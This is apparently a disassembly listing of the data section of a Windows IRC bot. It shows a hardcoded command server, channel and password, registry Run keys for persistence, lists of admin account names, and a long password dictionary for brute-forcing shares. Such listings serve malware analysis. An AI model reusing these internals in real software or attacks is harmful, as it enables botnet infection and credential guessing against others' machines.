unk_42BFB8	db    2			; DATA XREF: sub_40BBF7+2D6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42C004	db    2			; DATA XREF: sub_40BBF7+257o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 10h
unk_42C040	db    2			; DATA XREF: sub_40BBF7+1CDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42C088	db    2			; DATA XREF: sub_40BBF7:loc_40BD8Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 10h
unk_42C0D0	db    2			; DATA XREF: sub_40BBF7+191o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42C11C	db    2			; DATA XREF: sub_40BBF7+77o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C18B:loc_40C1CEo
					; sub_4134AF+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C18B:loc_40C1C8o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C18B:loc_40C1C2o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_40C18B:loc_40C1BCo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C18B:loc_40C1B6o
		align 10h
aRam		db 'RAM',0              ; DATA XREF: sub_40C18B:loc_40C1B0o
aFailed		db 'failed',0           ; DATA XREF: sub_40C21C:loc_40C2F4o
					; sub_40C337+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40C21C+6Bo
		align 8
dword_42C198	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C337+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_42C1E8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C337+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_1		db 'A:\',0              ; DATA XREF: sub_40C409:loc_40C44Eo
		align 10h
dword_42C240	dd 1A0Bh		; DATA XREF: sub_40C574+39Er
					; sub_40C574+451r
dword_42C244	dd 1B58h		; DATA XREF: sub_40C574+49Dr
dword_42C248	dd 1AA6h		; DATA XREF: sub_40CD3A:loc_4124FDr
dword_42C24C	dd 0CCEh		; DATA XREF: sub_4071B6+3Br
					; sub_40CD3A+4E09r
dword_42C250	dd 158Dh		; DATA XREF: sub_4071B6:loc_407465r
					; sub_40CD3A:loc_411C34r
dword_42C254	dd 1			; DATA XREF: sub_40C574+29r
dword_42C258	dd 1			; DATA XREF: sub_40CD3A+623r
dword_42C25C	dd 1			; DATA XREF: sub_409D34+Cr
					; sub_40C574:loc_40C89Er
byte_42C260	db 78h			; DATA XREF: sub_40C0D6:loc_40C0E2r
					; sub_40CD3A+A99r ...
		align 4
dword_42C264	dd 9			; DATA XREF: sub_413F42+2Br
					; sub_413F42+51r ...
dword_42C268	dd 1			; DATA XREF: sub_40CA58+78r
					; sub_40CD3A+26Er ...
aId999		db 'id999',0            ; DATA XREF: sub_40C574+67o
					; sub_40CD3A+3C7Bo ...
		align 4
aEnz999_9b	db 'enz 999.9b',0       ; DATA XREF: sub_40CD3A:loc_4126FCo
		align 10h
aHi		db 'hi',0               ; DATA XREF: sub_40CD3A+5B32o
					; sub_40CD3A+5BF5o
		align 4
aHome_najd_us	db 'home.najd.us',0     ; DATA XREF: sub_40C574+389o
					; sub_40C574+442o
		align 4
aDd_0		db '#dd',0              ; DATA XREF: sub_40C574+3AAo
					; sub_40C574+458o
aDpass		db 'dpass',0            ; DATA XREF: sub_40C574+3C1o
					; sub_40C574+46Ao
		align 10h
byte_42C2A0	db 68h			; DATA XREF: sub_40C574:loc_40C9F4r
					; sub_40C574+48Eo
		db 6Fh,	6Dh, 65h
		dd 6A616E2Eh, 73752E64h, 0
dword_42C2B0	dd 646423h		; DATA XREF: sub_40C574+4A4o
aDpass_0	db 'dpass',0            ; DATA XREF: sub_40C574+4B6o
		align 4
byte_42C2BC	db 4Dh			; DATA XREF: sub_40282F+84o
					; sub_403166+Fo ...
		db 53h,	4Eh, 47h
		dd 2E323352h, 6D6F63h
dword_42C2C8	dd 636C6574h, 36316D6Fh, 6C6C642Eh, 0 ;	DATA XREF: sub_40211C+3Do
dword_42C2D8	dd 69706F54h, 534D2063h, 3352474Eh, 32h	; DATA XREF: sub_40B2B9+Bo
dword_42C2E8	dd 2D564646h, 0		; DATA XREF: sub_413F42+12o
		dd 474E534Dh, 2E323352h, 6D6F63h
dword_42C2FC	dd 692B782Bh, 0		; DATA XREF: sub_40CD3A+5C75o
dword_42C304	dd 46464623h, 0		; DATA XREF: sub_40CD3A:loc_40FDEEo
					; sub_40CD3A+4C74o ...
dword_42C30C	dd 46464623h, 0		; DATA XREF: sub_40CD3A+1D32o
dword_42C314	dd 46464623h, 0		; DATA XREF: sub_40CD3A+1B84o
a78799		db '78799',0            ; DATA XREF: sub_40282F+9Ao
		align 4
aDd		db 'dd',0               ; DATA XREF: sub_40282F+95o
		align 4
aDd_		db 'dd.',0              ; DATA XREF: sub_40282F+90o
off_42C32C	dd offset a@room	; DATA XREF: sub_40CD3A+5B95r
					; "*@room"
off_42C330	dd offset aMirc1_6_99	; DATA XREF: sub_40CD3A+87Dr
					; "mirc	1.6.99"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: seg001:off_42BB04o
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_414500+28o
					; sub_414826+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_414500+D4o
					; sub_414826+D4o
		align 10h
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 8
off_42C438	dd offset byte_43B188	; DATA XREF: sub_404EC7:loc_404F57r
					; sub_404EC7+9Co
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_2		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_432D30	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_42645C
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
